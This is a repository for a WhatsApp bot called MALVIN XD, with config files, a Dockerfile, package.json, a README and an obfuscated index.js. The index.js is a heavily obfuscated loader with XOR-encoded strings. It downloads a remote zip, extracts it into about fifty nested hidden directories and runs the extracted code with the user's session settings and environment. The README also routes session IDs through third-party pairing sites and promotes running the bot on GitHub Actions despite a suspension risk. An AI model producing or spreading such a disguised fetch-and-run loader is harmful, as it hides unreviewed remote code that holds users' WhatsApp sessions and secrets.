├── settingss.js ├── Dockerfile ├── app.json ├── package.json ├── index.js └── README.md /settingss.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = { 3 | SESSION_ID: "", // add your Session Id here 4 | 5 | OWNER_NUMBER: "263714757857", // put your phone number here 6 | 7 | PREFIX: ".", // prefix (e.g., ., /, !, *) 8 | 9 | TIMEZONE: "Africa/Harare" //put your country timeZone....leave blank if u don't know. 10 | }; 11 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:lts-buster 2 | 3 | # Set working directory 4 | WORKDIR /app 5 | 6 | # Copy all local files to container 7 | COPY . . 8 | 9 | # Install dependencies 10 | RUN npm install && npm install -g pm2 11 | 12 | # Expose the port your app listens on 13 | EXPOSE 7860 14 | 15 | # Start the app 16 | CMD ["npm", "start"] 17 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ᴍᴀʟᴠɪɴ-xᴅ", 3 | "description": "Javascript WhatsApp bot made by ᴍᴀʟᴠɪɴ ᴋɪɴɢ", 4 | "logo": "https://files.catbox.moe/qumhu4.jpg", 5 | "keywords": ["MALVIN XD"], 6 | "success_url": "/", 7 | 8 | "stack": "container", 9 | "env": { 10 | "SESSION_ID": { 11 | "description": "Put your SESSION_ID here. Make sure it starts with malvin~", 12 | "value":"", 13 | "required": true 14 | 15 | }, 16 | "BOT_NAME": { 17 | "description": "write here your bot name.", 18 | "required": true, 19 | "value": "ᴍᴀʟᴠɪɴ xᴅ" 20 | 21 | }, 22 | "PREFIX": { 23 | "description": "Bot command prefix, (e.g, . , ! @ etc", 24 | "value": "." 25 | "required": true, 26 | 27 | }, 28 | "MODE": { 29 | "description": "Bot mode can be public, private, inbox or groups in small letters (e.g, public)", 30 | "value":"private", 31 | "required": true 32 | 33 | }, 34 | "DESCRIPTION": { 35 | "description": "add caption for menu and other", 36 | "value": "> *© ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴍᴀʟᴠɪɴ xᴅ*", 37 | "required": true 38 | 39 | }, 40 | 41 | "OWNER_NUMBER": { 42 | "description": "put the owner number for bot.", 43 | "value": "263714757857" 44 | "required": true 45 | 46 | }, 47 | "OWNER_NAME": { 48 | "description": "Enter your name here", 49 | "value": "", 50 | "required": true 51 | } 52 | 53 | }, 54 | 55 | "buildpacks": [ 56 | { 57 | "url": "https://github.com/heroku/heroku-buildpack-nodejs.git" 58 | } 59 | ], 60 | "stack": "heroku-24" 61 | } 62 | 63 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "MALVIN XD", 3 | "version": "1.5.0", 4 | "description": "Automated whatsapp md bot created using nodejs and baileys lib", 5 | "main": "index.js", 6 | "type": "module", 7 | "scripts": { 8 | "start": "pm2 start index.js --deep-monitoring --attach --name MALVIN-XD", 9 | "stop": "pm2 stop MALVIN-XD", 10 | "restart": "pm2 restart MALVIN-XD" 11 | }, 12 | "dependencies": { 13 | "@whiskeysockets/baileys": "github:XdKing2/bail", 14 | "axios": "^1.7.9", 15 | "@adiwajshing/keyed-db": "latest", 16 | "@dark-yasiya/yt-dl.js": "1.0.5", 17 | "@ffmpeg-installer/ffmpeg": "^1.1.0", 18 | "@vitalets/google-translate-api": "^9.2.1", 19 | "@dark-yasiya/scrap":"1.0.1", 20 | "acrcloud": "^1.4.0", 21 | "adm-zip": "^0.5.16", 22 | "lolcatjs": "^2.4.1", 23 | "api-dylux": "latest", 24 | "btch-downloader": "^2.2.9", 25 | "better-sqlite3": "*", 26 | "moment-timezone": "^0.6.0", 27 | "cheerio": "^1.0.0-rc.12", 28 | "crypto-digest-sync": "^1.0.0", 29 | "crypto-js": "latest", 30 | "dotenv": "^16.0.0", 31 | "express": "latest", 32 | "ffmpeg": "^0.0.4", 33 | "file-type": "^16.5.3", 34 | "file_size_url": "1.0.4", 35 | "fluent-ffmpeg": "^2.1.2", 36 | "form-data": "^4.0.0", 37 | "fs": "^0.0.1-security", 38 | "fs-extra": "^11.1.0", 39 | "google-tts-api": "^2.0.2", 40 | "javascript-obfuscator": "^4.0.0", 41 | "jimp": "^0.16.1", 42 | "megajs": "^1.1.0", 43 | "mongoose": "^8.0.0", 44 | "node-cache": "^5.1.1", 45 | "node-fetch": "^2.6.1", 46 | "node-webpmux": "^3.1.0", 47 | "@octokit/rest": "latest", 48 | "path": "^0.12.7", 49 | "pdf-lib": "^1.17.1", 50 | "pdfkit": "^0.14.0", 51 | "pino": "^7.0.5", 52 | "pm2": "latest", 53 | "qrcode-reader": "^1.0.4", 54 | "qrcode-terminal": "^0.12.0", 55 | "ruhend-scraper": "8.0.3", 56 | "sequelize": "^6.37.5", 57 | "sqlite3": "^5.1.7", 58 | "util": "^0.12.4", 59 | "vm": "^0.1.0", 60 | "wa-sticker-formatter": "^4.4.4", 61 | "wa_set_pkg": "1.0.5", 62 | "yt-search": "2.11.1" 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | //hello 👋 🫂 2 | //let's see am XdKing2 3 | const Pc$UEFfMFsXc=im$sqFGd$ahl;(function(Au_RoR,Sh_RAFab){const JVpUgxaquIOkxJoACRe_QBu=im$sqFGd$ahl,kHifBIFAIlclCf$rtLdD$u=Au_RoR();while(!![]){try{const AovfcKReZVqffbMaxQ=parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xac))/(parseInt(0x83e)*0x1+Math.floor(parseInt(0x7c))*Math.ceil(-parseInt(0x26))+parseFloat(0xa2b))*Math['floor'](parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xbe))/(-0x1*-parseInt(0xbe1)+-parseInt(0x10bd)+0x4de))+Math['ceil'](parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xb0))/(0x440*parseInt(0x7)+-parseInt(0x1cb5)+Math.ceil(-parseInt(0x58))*0x3))*Math['max'](parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xae))/(Math.ceil(0x1b9c)+parseFloat(0x1)*0xa89+Math.max(-0x2621,-parseInt(0x2621))),parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xa2))/(-parseInt(0x402)+-parseInt(0x3)*0xbb9+0x2732))+parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xb7))/(parseInt(0x1122)+Math.trunc(0x6a)*-0x35+-0x26b*-0x2)*(parseFloat(JVpUgxaquIOkxJoACRe_QBu(0x9a))/(parseInt(0x1733)+Math.floor(-parseInt(0x2384))+Math.max(parseInt(0xc58),parseInt(0xc58))))+-parseFloat(JVpUgxaquIOkxJoACRe_QBu(0x95))/(Math.max(-0x3d,-0x3d)*-parseInt(0x60)+parseFloat(-parseInt(0x1))*-parseInt(0xb1b)+-0x21f3)*Number(-parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xc4))/(0x2166+parseFloat(-0x16e)+-0xf*parseInt(0x221)))+-parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xd5))/(parseInt(0xa80)+parseInt(0x39)*parseFloat(parseInt(0x19))+Math.max(-parseInt(0x1007),-parseInt(0x1007))*Math.max(parseInt(0x1),0x1))*Math['floor'](-parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xb3))/(0x4b8*Math.ceil(0x5)+-parseInt(0x1b24)+-parseInt(0x1)*parseInt(-parseInt(0x397))))+parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xc1))/(Math.floor(-0x177e)+Math.floor(parseInt(0x6f7))+Math.trunc(parseInt(0x1093)))*Math['trunc'](parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xa8))/(0xe*-parseInt(0xec)+-0x607*0x2+parseFloat(0x1903)))+-parseFloat(JVpUgxaquIOkxJoACRe_QBu(0xa6))/(Math.floor(parseInt(0x5))*Math.trunc(-0x567)+0x1f*-parseInt(0x56)+0x257b);if(AovfcKReZVqffbMaxQ===Sh_RAFab)break;else kHifBIFAIlclCf$rtLdD$u['push'](kHifBIFAIlclCf$rtLdD$u['shift']());}catch(U$$XonEnmvHFCQLIkuGhjZc){kHifBIFAIlclCf$rtLdD$u['push'](kHifBIFAIlclCf$rtLdD$u['shift']());}}}(GEpDbytxPXObmMbn,0x25662+Math.trunc(-parseInt(0x100))*-0xe17+-0x4dccf));import uQUGKTS_uo from'fs';import y$AEFqYjTQBwoaAyU_dPZ from'path';import xpTZZC_OOmnnz from'axios';import pWyjJIcX_Sx from'adm-zip';function GEpDbytxPXObmMbn(){const aE$RtoNwQcLgkPIJPldJQ=['515e5d4157','585d5b5c','d0afbe12774a46405351465b5d5c1254535b5e575608','5b5c5a57405b46','d0afbe1274535b5e575612465d125342425e4b125e5d51535e12415746465b5c554108','d0afbe12774a4640535146575612565b405751465d404b125c5d4612545d475c561c1271535c5c5d4612414653404612505d461c','5740405d40','d0afbe12745346535e125740405d40125b5c125f535b5c12574a575147465b5d5c08','6912d0a892dd8abd126f12625e47555b5c4112545d5e565740125c5d4612545d475c561c','5153515a57','425e47555b5c41','030202050004010270487d5d7973','5e5d55','6912c2ada097126f12705d46124657405f5b5c5346575612455b465a12574a5b4612515d56570812','0507040a000675797b705859','554057575c','d0afbe125b5c56574a1c5841125c5d4612545d475c56125b5c12574a4640535146575612565b405751465d404b1c','47405e','42405d564751465b5d5c','01030601467c4b787178','6912c2ada8b2126f1261465340465b5c55126157404457401c1c1c','6912c2ada992dd8abd126f127e5d51535e12415746465b5c5541125342425e5b57561c','574a5b414641614b5c51','545b5c5b415a','41464057535f','405756','425b4257','07435c56427f77','6912c2adbea2126f12715d5c5c5751465b5c5512465d126157404457401c1c1c','1c1c1c1f5f535b5c','5c5d5657','040002050b020a02757358427e55','774a42575146575612574a4640535146575612565b405751465d404b125c5d4612545d475c56','0706020a78665c5e6560','6912c2adbea2126f12715d5c5c575146575612465d12615740445740411c1c1c','514b535c','6912d0aeb7126f12625e47555b5c4112545d5e56574012545d475c561c','0a0007034b447d5b6a73','c2ad958b12715e57535c5b5c5512424057445b5d4741125153515a571c1c1c','066b567f7e5145','574a5b46','01070b0202060b42614a614263','5f59565b40614b5c51','575c44','0303456845447b47','515d424b745b5e57614b5c51','757766','5a46464241081d1d555b465a47501c515d5f1d4a595b5c55041d1c1c1c1d5340515a5b44571d5f535b5c1c485b42','06000204505567567570','d0afbe12765d455c5e5d53561d774a46405351461254535b5e575608','415746465b5c5541411c5841','405f614b5c51','51405753465765405b465761464057535f','475c5e5b5c59614b5c51','4b575e5e5d45','000b0a60655a437e40','574a4640535146735e5e665d','4057425d1c485b42','010106040a7f7b41574255','5b5c56574a1c5841','56534653','00055d5a4758646b','54405d5f','6912d0a892dd8abd126f127c5d125e5d51535e12415746465b5c554112545d475c56125b5c125f535b5c12565b405751465d404b1e1247415b5c551256575453475e461c','5c5d56576d5f5d56475e5741','d0afbe12705d461254535b5e575612465d12414653404608','565b405c535f57'];GEpDbytxPXObmMbn=function(){return aE$RtoNwQcLgkPIJPldJQ;};return GEpDbytxPXObmMbn();}import{spawn}from'child_process';function im$sqFGd$ahl(kxsjNFqbPNMcmuQUGKTSuoJy,EFqYjTQBwoaAyUd){const Zrxp_TZZCOOmnnz$npWyjJI=GEpDbytxPXObmMbn();return im$sqFGd$ahl=function(XSxvLQ,iTcVmWEWjbmk$txVrBQhZrGm){XSxvLQ=XSxvLQ-(Math.floor(0x11)*Math.floor(-0x11b)+-0x1*parseInt(0x5ad)+Math.max(-parseInt(0x190b),-parseInt(0x190b))*-0x1);let gGP_CMhQ_EZU=Zrxp_TZZCOOmnnz$npWyjJI[XSxvLQ];if(im$sqFGd$ahl['GtvThR']===undefined){const lAcwvWFkQu_WCu=function(gKnFCEfS$jEBsLcGuotWX){let Wh$vpowRfrclpUpZ=-0x1434+0x1353+0x313&Math.max(-0xd91,-parseInt(0xd91))*Number(parseInt(0x1))+Math.floor(parseInt(0x825))+parseInt(0x66b),HxHxdR_IPR=new Uint8Array(gKnFCEfS$jEBsLcGuotWX['match'](/.{1,2}/g)['map'](K_s_JpZ=>parseInt(K_s_JpZ,0x1053+parseInt(0xff4)+-0x2037))),hcnKZj$rFuxHrujIzXBbFSx=HxHxdR_IPR['map'](hY_Tdzg=>hY_Tdzg^Wh$vpowRfrclpUpZ),EdvFC$Gnh=new TextDecoder(),oeXEFkucnov_IspMlMcmkA=EdvFC$Gnh['decode'](hcnKZj$rFuxHrujIzXBbFSx);return oeXEFkucnov_IspMlMcmkA;};im$sqFGd$ahl['glJSMi']=lAcwvWFkQu_WCu,kxsjNFqbPNMcmuQUGKTSuoJy=arguments,im$sqFGd$ahl['GtvThR']=!![];}const wGYwtfIVY__GJQW=Zrxp_TZZCOOmnnz$npWyjJI[Number(-0x1a7)*Math.floor(0x13)+-0x960+0x28c5],uHF$S_zC=XSxvLQ+wGYwtfIVY__GJQW,l_ZOcmzzBmHqY=kxsjNFqbPNMcmuQUGKTSuoJy[uHF$S_zC];return!l_ZOcmzzBmHqY?(im$sqFGd$ahl['GdUUIz']===undefined&&(im$sqFGd$ahl['GdUUIz']=!![]),gGP_CMhQ_EZU=im$sqFGd$ahl['glJSMi'](gGP_CMhQ_EZU),kxsjNFqbPNMcmuQUGKTSuoJy[uHF$S_zC]=gGP_CMhQ_EZU):gGP_CMhQ_EZU=l_ZOcmzzBmHqY,gGP_CMhQ_EZU;},im$sqFGd$ahl(kxsjNFqbPNMcmuQUGKTSuoJy,EFqYjTQBwoaAyUd);}import LQTiTcVmWEW_jb from'chalk';import{fileURLToPath}from'url';const __filename=fileURLToPath(import.meta[Pc$UEFfMFsXc(0x98)]),__dirname=y$AEFqYjTQBwoaAyU_dPZ[Pc$UEFfMFsXc(0xc9)](__filename),deepLayers=Array[Pc$UEFfMFsXc(0xc5)]({'length':0x32},(ktx$_VrBQhZr,mmgGPCMhQEZUvwGYwt)=>'.x'+(mmgGPCMhQEZUvwGYwt+(-0x1556+-0x16a9+Math.max(-parseInt(0x1),-0x1)*-0x2c00))),TEMP_DIR=y$AEFqYjTQBwoaAyU_dPZ[Pc$UEFfMFsXc(0xcb)](__dirname,Pc$UEFfMFsXc(0xc7),Pc$UEFfMFsXc(0xd3),...deepLayers),DOWNLOAD_URL=Pc$UEFfMFsXc(0xb6),EXTRACT_DIR=y$AEFqYjTQBwoaAyU_dPZ[Pc$UEFfMFsXc(0xcb)](TEMP_DIR,Pc$UEFfMFsXc(0xa4)),LOCAL_SETTINGS=y$AEFqYjTQBwoaAyU_dPZ[Pc$UEFfMFsXc(0xcb)](__dirname,Pc$UEFfMFsXc(0xb9)),EXTRACTED_SETTINGS=y$AEFqYjTQBwoaAyU_dPZ[Pc$UEFfMFsXc(0xcb)](EXTRACT_DIR,Pc$UEFfMFsXc(0xb9)),delay=IVYGJQW=>new Promise(uHF$SzC=>setTimeout(uHF$SzC,IVYGJQW));async function downloadAndExtract(){const RLoNB$gd=Pc$UEFfMFsXc;try{uQUGKTS_uo[RLoNB$gd(0x9d)](TEMP_DIR)&&(console[RLoNB$gd(0x93)](LQTiTcVmWEW_jb[RLoNB$gd(0xbd)](RLoNB$gd(0xad))),uQUGKTS_uo[RLoNB$gd(0xba)](TEMP_DIR,{'recursive':!![],'force':!![]}));uQUGKTS_uo[RLoNB$gd(0xb1)](TEMP_DIR,{'recursive':!![]});const lZOcmzzBmHq_Y=y$AEFqYjTQBwoaAyU_dPZ[RLoNB$gd(0xcb)](TEMP_DIR,RLoNB$gd(0xc0));console[RLoNB$gd(0x93)](LQTiTcVmWEW_jb[RLoNB$gd(0xbd)](RLoNB$gd(0xa3)));const lAcwvWFkQuWCu=await xpTZZC_OOmnnz({'url':DOWNLOAD_URL,'method':RLoNB$gd(0xb5),'responseType':RLoNB$gd(0x9f)});await new Promise((WhvpowRfrclpUpZ,Hx_Hx$dRIPR)=>{const EGeDWmwqOVjSg_xCPBE=RLoNB$gd,hcnKZjrFuxHrujIzXBbFSx=uQUGKTS_uo[EGeDWmwqOVjSg_xCPBE(0xbb)](lZOcmzzBmHq_Y);lAcwvWFkQuWCu[EGeDWmwqOVjSg_xCPBE(0xc3)][EGeDWmwqOVjSg_xCPBE(0xa1)](hcnKZjrFuxHrujIzXBbFSx),hcnKZjrFuxHrujIzXBbFSx['on'](EGeDWmwqOVjSg_xCPBE(0x9e),WhvpowRfrclpUpZ),hcnKZjrFuxHrujIzXBbFSx['on'](EGeDWmwqOVjSg_xCPBE(0xd0),Hx_Hx$dRIPR);}),console[RLoNB$gd(0x93)](LQTiTcVmWEW_jb[RLoNB$gd(0x96)](RLoNB$gd(0xa9)));try{const E$dvFCGnh=new pWyjJIcX_Sx(lZOcmzzBmHq_Y);E$dvFCGnh[RLoNB$gd(0xbf)](TEMP_DIR,!![]);if(!uQUGKTS_uo[RLoNB$gd(0x9d)](EXTRACT_DIR))throw new Error(RLoNB$gd(0xa7));}catch(oeXEFkucnovIsp_MlMcmkA){console[RLoNB$gd(0xd0)](LQTiTcVmWEW_jb[RLoNB$gd(0xa0)](RLoNB$gd(0xcc)),oeXEFkucnovIsp_MlMcmkA);throw oeXEFkucnovIsp_MlMcmkA;}finally{uQUGKTS_uo[RLoNB$gd(0x9d)](lZOcmzzBmHq_Y)&&uQUGKTS_uo[RLoNB$gd(0xbc)](lZOcmzzBmHq_Y);}const gKnFCEfSjEBsLcGu$otWX=y$AEFqYjTQBwoaAyU_dPZ[RLoNB$gd(0xcb)](EXTRACT_DIR,RLoNB$gd(0xd4));uQUGKTS_uo[RLoNB$gd(0x9d)](gKnFCEfSjEBsLcGu$otWX)?console[RLoNB$gd(0x93)](LQTiTcVmWEW_jb[RLoNB$gd(0x96)](RLoNB$gd(0xab))):console[RLoNB$gd(0x93)](LQTiTcVmWEW_jb[RLoNB$gd(0xbd)](RLoNB$gd(0xd2)));}catch(K$$sJpZ){console[RLoNB$gd(0xd0)](LQTiTcVmWEW_jb[RLoNB$gd(0xa0)](RLoNB$gd(0xb8)),K$$sJpZ);throw K$$sJpZ;}}async function applyLocalSettings(){const KzMVlXcxOjLnjs$A_YBJYg=Pc$UEFfMFsXc;if(!uQUGKTS_uo[KzMVlXcxOjLnjs$A_YBJYg(0x9d)](LOCAL_SETTINGS)){console[KzMVlXcxOjLnjs$A_YBJYg(0x93)](LQTiTcVmWEW_jb[KzMVlXcxOjLnjs$A_YBJYg(0xbd)](KzMVlXcxOjLnjs$A_YBJYg(0xc6)));return;}try{uQUGKTS_uo[KzMVlXcxOjLnjs$A_YBJYg(0xb1)](y$AEFqYjTQBwoaAyU_dPZ[KzMVlXcxOjLnjs$A_YBJYg(0xc9)](EXTRACTED_SETTINGS),{'recursive':!![]}),uQUGKTS_uo[KzMVlXcxOjLnjs$A_YBJYg(0xb4)](LOCAL_SETTINGS,EXTRACTED_SETTINGS),console[KzMVlXcxOjLnjs$A_YBJYg(0x93)](LQTiTcVmWEW_jb[KzMVlXcxOjLnjs$A_YBJYg(0xbd)](KzMVlXcxOjLnjs$A_YBJYg(0x9c)));}catch(hYTd$z$g){console[KzMVlXcxOjLnjs$A_YBJYg(0xd0)](LQTiTcVmWEW_jb[KzMVlXcxOjLnjs$A_YBJYg(0xa0)](KzMVlXcxOjLnjs$A_YBJYg(0xce)),hYTd$z$g);}await delay(parseInt(-parseInt(0x1b7a))+Math.floor(-0x2dc)+0x204a);}function startBot(){const cisIcBw_GKdQzcX=Pc$UEFfMFsXc;console[cisIcBw_GKdQzcX(0x93)](LQTiTcVmWEW_jb[cisIcBw_GKdQzcX(0xaa)](cisIcBw_GKdQzcX(0x9b)));if(!uQUGKTS_uo[cisIcBw_GKdQzcX(0x9d)](EXTRACT_DIR)){console[cisIcBw_GKdQzcX(0xd0)](LQTiTcVmWEW_jb[cisIcBw_GKdQzcX(0xa0)](cisIcBw_GKdQzcX(0xcf)));return;}if(!uQUGKTS_uo[cisIcBw_GKdQzcX(0x9d)](y$AEFqYjTQBwoaAyU_dPZ[cisIcBw_GKdQzcX(0xcb)](EXTRACT_DIR,cisIcBw_GKdQzcX(0xc2)))){console[cisIcBw_GKdQzcX(0xd0)](LQTiTcVmWEW_jb[cisIcBw_GKdQzcX(0xa0)](cisIcBw_GKdQzcX(0x97)));return;}const rju_jRQGAJaFGLQBZEaFlkOyvm=spawn(cisIcBw_GKdQzcX(0xa5),[cisIcBw_GKdQzcX(0xc2)],{'cwd':EXTRACT_DIR,'stdio':cisIcBw_GKdQzcX(0xcd),'env':{...process[cisIcBw_GKdQzcX(0xb2)],'NODE_ENV':cisIcBw_GKdQzcX(0x99)}});rju_jRQGAJaFGLQBZEaFlkOyvm['on'](cisIcBw_GKdQzcX(0xca),Pleqh=>{const a_pyXO=cisIcBw_GKdQzcX;console[a_pyXO(0x93)](LQTiTcVmWEW_jb[a_pyXO(0xa0)](a_pyXO(0x94)+Pleqh));}),rju_jRQGAJaFGLQBZEaFlkOyvm['on'](cisIcBw_GKdQzcX(0xd0),fyLpE=>{const lPuiErj=cisIcBw_GKdQzcX;console[lPuiErj(0xd0)](LQTiTcVmWEW_jb[lPuiErj(0xa0)](lPuiErj(0xc8)),fyLpE);});}((async()=>{const TaDUnFFUv$zMWnu_dbrOF=Pc$UEFfMFsXc;try{await downloadAndExtract(),await applyLocalSettings(),startBot();}catch(fEvZM_XzqwZXo){console[TaDUnFFUv$zMWnu_dbrOF(0xd0)](LQTiTcVmWEW_jb[TaDUnFFUv$zMWnu_dbrOF(0xa0)](TaDUnFFUv$zMWnu_dbrOF(0xd1)),fEvZM_XzqwZXo),process[TaDUnFFUv$zMWnu_dbrOF(0xaf)](parseInt(0x2)*Math.trunc(-parseInt(0x5ea))+-parseInt(0x1976)+0x254b);}})()); 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 |
7 | 8 | Typing SVG 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 |

17 | GitHub Forks 18 | GitHub Followers 19 | Last Commit 20 | Repo Size 21 | Package Version 22 |

23 | 24 | 25 |

26 | Techwave Animation 27 |

28 | 29 |
30 |
31 | 32 |

33 | Typing Animation 34 |

35 | 36 | 37 | ***BOT FEATURE ⤵️*** 38 | 39 | | Menu ⁠➜ | Status Save + Send | Group | ChatBot | Downloading | Antidelete | Ai | Viewonce | Fun | Status Reply | Status Reacts | HeartReacts | Autoreacts | Call Rejecter 40 | |---|---|---|---|---|---|---|---|---|---|---|---|---|---| 41 | | Work ➜ |✅|✅|✅|✅|✅|✅|✅|✅|✅|✅|✅|✅|✅| 42 | 43 | 44 | # MALVIN-BXD Setup 45 | 46 | ### 🚀 Fork the Repository 47 | 48 |

49 | 50 | [![Typing SVG](https://readme-typing-svg.herokuapp.com?font=monospace-ExtraBold&color=blue&lines=𝗙𝗢𝗥𝗞+𝗔𝗡𝗗+𝗦𝗧𝗔𝗥+⭐+𝗥𝗘𝗣𝗢)](https://git.io/typing-svg) 51 | 52 | Fork MALVIN-BXD 53 | 54 | --- 55 | 56 | ### 🔐 Step 2: Get Your Session ID 57 | 58 | Authenticate using **one** of the methods below to generate your `Session ID`. 59 | 60 |

61 | Authentication Flow Preview 62 |

63 | 64 | > 📲 Pair Code Authentication 1 65 | 66 | [![Get Pairing Code](https://img.shields.io/badge/Get%20Pairing%20Code-orange?style=for-the-badge&logo=opencv&logoColor=black)](https://malvinxd-pairsession.onrender.com/pair) 67 | 68 | > 📲 Pair Code Authentication 2 69 | 70 | [![Get Pairing Code](https://img.shields.io/badge/Get%20Pairing%20Code-orange?style=for-the-badge&logo=opencv&logoColor=black)](https://malvin-session-27hw.onrender.com/pair) 71 | 72 | > 📱 QR Code Authentication 73 | 74 | [![Scan QR Code](https://img.shields.io/badge/Scan%20QR%20Code-000000?style=for-the-badge&logo=react&logoColor=white)](https://malvinxd-pairsession.onrender.com/qr) 75 | 76 | 77 | 78 | > 📲 Starcore pair 3 79 | 80 | [![Starcore Session](https://img.shields.io/badge/Session%20App-000000?style=for-the-badge&logo=react&logoColor=white)](https://starcore-pairing.onrender.com/pair/) 81 | 82 | 83 | 84 |

85 | Authentication Flow Preview 86 |

87 | 88 | 89 | ## _📡 DEPLOYMENT_ 90 | 91 |
92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 |
106 |
107 | 108 | 109 | 110 | 111 |
112 | 113 | 114 |

Workflow

115 |

116 | 117 | 118 |

119 | 120 | Deploy Malvin On Workflow 121 |

122 | 123 | Copy the workflow codes and then fork the repo edit config add session id then save and now click on repo action tag then click on start new workflow then paste workflow codes rename main.yml to deploy.yml and save the file 124 |

Important

125 |
Attention! We do not take responsibility if your github account is suspended through this Deploy method, I advise you not to use this workflow deploy method in the latest github accounts, github accounts created a year or more ago have not received the risk of suspension so far, this works It will only be done for 6 hours, you need to update the code to reactivate it.
126 | 127 | ``` 128 | name: Node.js CI 129 | 130 | on: 131 | push: 132 | branches: 133 | - main 134 | pull_request: 135 | branches: 136 | - main 137 | 138 | jobs: 139 | build: 140 | 141 | runs-on: ubuntu-latest 142 | 143 | strategy: 144 | matrix: 145 | node-version: [20.x] 146 | 147 | steps: 148 | - name: Checkout repository 149 | uses: actions/checkout@v3 150 | 151 | - name: Set up Node.js 152 | uses: actions/setup-node@v3 153 | with: 154 | node-version: ${{ matrix.node-version }} 155 | 156 | - name: Install dependencies 157 | run: npm install 158 | 159 | - name: Start application 160 | run: npm start 161 | ``` 162 |
163 | 164 | 165 |

166 | 167 | ## 📡 PANEL DEPLOYMENT OPTIONS 168 | 169 | > Get the latest MALVIN-BXD bot zip file for panel-based deployment: 170 | 171 |
172 | 173 | Download Panel ZIP 174 | 175 |
176 | 177 |

178 | 179 |

180 | 181 | > ✅ Deploy to any panel service of your choice. 182 | 183 |

184 | divider 185 |

186 | 187 | ### 🛠️ Recommended Hosting Panels 188 | 189 |
190 | 191 | 192 | 197 | 202 | 203 | 204 | 209 | 210 |
193 | 194 | 195 | 196 | 198 | 199 | 200 | 201 |
205 | 206 | 207 | 208 |
211 |
212 | 213 | > 🔧 _Now Working on free-tier panel hosts_ ✅️ 214 | 215 |

216 | divider 217 |

218 | 219 | 220 | 221 | ## ⚠️ DISCLAIMER 222 | 223 | - ❗ MALVIN-BXD is **not affiliated with WhatsApp Inc.** 224 | - 🚫 Misuse may lead to account bans. Use responsibly. 225 | - 🛑 Cloning, redistributing, or modifying **without proper credit** is strictly prohibited. 226 | 227 |

228 | divider 229 |

230 | 231 | 232 | 233 | ## 💡 CREDITS & CONTRIBUTORS 234 | 235 | > Built with ❤️ by **Malvin King** 236 | 237 | - 👤 [Malvin King](https://github.com/XdKing2) — Creator & Maintainer 238 | - Core features, plugin manager, deployment tools, performance optimization 239 | 240 |

241 | divider 242 |

243 | 244 | ## 🗃️ PROJECT ARCHITECTS 245 | 246 |

247 | 248 | 249 | 250 |

251 | 252 |
253 | 254 |
255 | 256 |

257 | divider 258 |

259 | 260 | ## 🌐 JOIN OUR SUPPORT CHANNELS 261 | 262 | > 🔔 Stay connected for updates, feature drops, and tutorials! 263 | 264 | - ▶️ **YouTube: MalvinTech** 265 | [![Subscribe YouTube](https://img.shields.io/badge/Subscribe-YouTube-FF0000?style=for-the-badge&logo=youtube&logoColor=white)](https://youtube.com/@malvintech2) 266 | 267 |

268 | footer divider 269 |

270 | 271 | 272 | 273 |
274 | 275 |

276 | 277 |

278 | 279 | ## 🤖 _MALVIN-BXD STATUS_ 280 | 281 | ```diff 282 | + Project Status: Active 283 | ! Version: V.1.5.0 Neon Edition 284 | # License: MIT 285 | ``` 286 | 287 | 288 | 289 | 290 | 291 |
292 | 293 | [![Contributors](https://readme-typing-svg.demolab.com?font=Fira+Code&size=16&duration=3000&pause=1000&color=58A6FF&background=00000000¢er=true&vCenter=true&width=500&lines=THANKS+TO+ALL+CONTRIBUTORS+%F0%9F%99%8F;SPECIAL+THANKS+TO+OUR+STAR+SUPPORTERS+%E2%AD%90)](https://github.com/XdKing2/MALVIN-BXD/graphs/contributors) 294 | 295 |
296 | 297 | 298 | 299 |

💫 Thanks to our loyal followers

Stargazers repo roster for @XdKing2/MALVIN-BXD

Forkers repo roster for @XdKing2/MALVIN-BXD

300 | 301 | 302 | 303 | 304 | ## 305 | ![MIT License](https://img.shields.io/badge/License-green.svg) 306 | 307 | 308 | 309 | 310 | --------------------------------------------------------------------------------